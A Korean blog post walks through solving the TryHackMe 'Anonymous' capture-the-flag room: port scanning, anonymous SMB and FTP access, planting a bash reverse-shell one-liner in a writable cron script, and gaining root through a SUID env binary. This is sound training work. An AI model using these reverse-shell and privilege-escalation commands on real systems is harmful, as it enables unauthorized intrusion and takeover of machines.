안녕하세요 이번에 풀어볼 문제는 Anonymous 입니다.
https://tryhackme.com/room/anonymous
Anonymous
Not the hacking group
tryhackme.com
일단 Anonymous의 첫번째 문제인
question1 : Enumerate the machine. How many ports are open?
이에 대해 알기 위해 NMAP을 사용해봅시다.
사실 이번에 보안 포트폴리오 강화할겸 취약점 자동화 분석기를 python으로 만들고 있습니다.
얼렁뚱땅 작동은 하는데 개발 요구조건을 많이 충족하지 못하여 이에 대한 글은 추후에 쓰겠습니다.
일단, 이렇게 취약점 분석이 완료되었고 결과를 살펴봅시다.
이렇게 우리는 21(FTP), 22(SSH), 139, 445(SMB), 로 총 4개의 port가 열려있음을 확인했습니다.
또한 question2 : What service is running on port 21? 에 대한 질문에도 FTP 임을
그리고 question3 : What service is running on ports 139 and 445? 에 대한 질문에도 SMB임을 알 수 있습니다.
여기서 SMB란
SMB(Server Message Block)는 네트워크 상에서 파일, 프린터, 포트 등을 공유할 수 있도록 해주는 통신 프로토콜입니다. 주로 Windows 시스템에서 파일 공유에 사용되며, 다양한 운영체제에서 지원됩니다.
이번에는 SMB에 접근해보겠습니다.
smbclient -L [IP주소]
비밀번호는 공백을 입력하면 접근이 가능했습니다.
이번에는 SMB의 정보를 탐색해보겠습니다.
print : window printer driver가 저장되는 system folder이므로 pass
IPC$ : 원격 프로세스 간 통신을 할 때 사용하는 것으로 window 구버전들은 Null Session 공격에 취약할 가능성이 있습니다.
pics : 실질적인 공유 폴더로 question 4 : There's a share on the user's computer. What's it called? 의 답이 됩니다.
결론적으로 앞으로의 해킹 과정에서 우리는 pics라는 공유폴더를 이용할 것임을 알 수 있습니다.
이제 다음으로는 FTP에 대해 정보를 수집해보겠습니다.
FTP에서 사용할 기법은 해당 문제의 제목과 같은 Anonymous FTP입니다.
Anonymous FTP란 사용자 계정 없이 누구나 FTP 서버에 로그인해서 파일을 download or upload 할 수 있도록 설정된 FTP 서비스입니다.
name에는 anonymous를 입력하였고 password에는 공백을 입력하니 접속이 되었습니다.
이후 ls-al 을 통해 (-a : 숨김파일 포함, -l : 자세한 정보 출력) 파일 목록 탐색을 해봤습니다.
일단 clean.sh라는 reverse shell하기 좋와보이는 파일과 removed_files.log라는 log file을 찾았습니다.
일단 정보 수집을 위해 log file을 download해봅시다.
이후 파일을 확인해보면
cleanup이라는 script를 주기적으로 running 시키는 것으로 볼 수 있습니다.
그렇다면 우리는 일단 유사한 이름을 가진 clean.sh가 주기적으로 작동되기를 빌며 clean.sh역시 download하고 reverse shell payload를 담아 다시 upload 해봅시다.
권한 역시 기타 사용자에 대하여 rwx로 널널합니다.
이후 파일을 확인해보면
bash shell을 사용하는것도 확인했으니 이제 payload를 담기 위해 파일을 수집해보겠습니다.
bash -i >& /dev/tcp/내IP주소/port_num 0>&1
여기에 IP주소와 Port num을 지정해줍시다.
이후 다시 clean.sh를 ftp에 upload 해줍니다.
이후 reverse shell 연결을 위해 제 kali linux에 리스너를 열어주면
이렇게 연결이 됐습니다.
자 여기서 더 탐색을 하면 user flag를 획득하게 됩니다.
이후 이제 root flag를 얻기 위해 root 권한 상승을 위한 방법을 모색해봅시다.
find / -user root -perm -4000 2>/dev/null
소유주가 root이고 suid가 설정되어 있는 파일을 찾아봅시다.
그리고
이렇게 결과가 나왔습니다.
여기서 root 권한 취약점이 있는 파일을 알아본 결과
https://gtfobins.github.io/gtfobins/env/
env | GTFOBins
.. / env Shell SUID Sudo Shell It can be used to break out from restricted environments by spawning an interactive system shell. SUID If the binary has the SUID bit set, it does not drop the elevated privileges and may be abused to access the file system,
gtfobins.github.io
/usr/bin/env에서 env /bin/sh -p를 이용하면 root권한을 습득할 수 있는것으로 정보를 얻었습니다. 이제 이를 이용해보면
이렇게 root 권한을 습득했습니다.
이제 여기서 파일들을 탐색하다보면 root flag를 습득하게 됩니다.
이렇게 문제를 마무리하게 됩니다.
'보안 프로젝트' 카테고리의 다른 글
[TryHackMe] Mr Robot CTF 문제풀이 (0) | 2025.02.26 |
---|---|
[TryHackMe] Relevant 문제풀이 (0) | 2025.02.15 |
[TryHackMe] Basic Malware RE 문제풀이와 Ghidra를 이용한 reversing (0) | 2025.02.10 |
[TryHackMe] The Blob Blog 문제풀이 -- 중 kali linux 고장남 (0) | 2025.02.05 |
[TryHackMe] CyberLens 문제풀이 (0) | 2025.01.25 |